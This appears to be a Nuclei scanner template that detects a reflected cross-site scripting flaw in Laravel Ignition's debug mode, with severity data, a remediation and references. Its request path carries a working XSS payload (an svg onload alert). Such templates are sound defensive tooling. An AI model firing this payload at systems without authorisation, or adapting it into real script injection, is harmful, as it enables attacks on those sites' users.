id: laravel-ignition-xss

info:
  name: Laravel Ignition - Cross-Site Scripting
  author: 0x_Akoko
  severity: high
  description: |
    Laravel Ignition contains a cross-site scripting vulnerability when debug mode is enabled.
  remediation: |
    Disable debug mode by setting APP_DEBUG to false.
  reference:
    - https://www.acunetix.com/vulnerabilities/web/laravel-ignition-reflected-cross-site-scripting/
    - https://github.com/facade/ignition/issues/273
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79,CWE-83
  metadata:
    max-request: 1
  tags: laravel,xss,ignition,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_ignition/scripts/--><svg%20onload=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Undefined index: --><svg onload=alert(document.domain)> in file"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 500
# digest: 4a0a00473045022100bb1f9b128d6b86f975d5e95d8d6ed7f8a9db44096994c442608f767d9b7aa515022054ab90aef716f4db4bb431bcdc19962594a41b758cef820e9c78729381e1e5b6:922c64590222798bb761d5b6d8e72950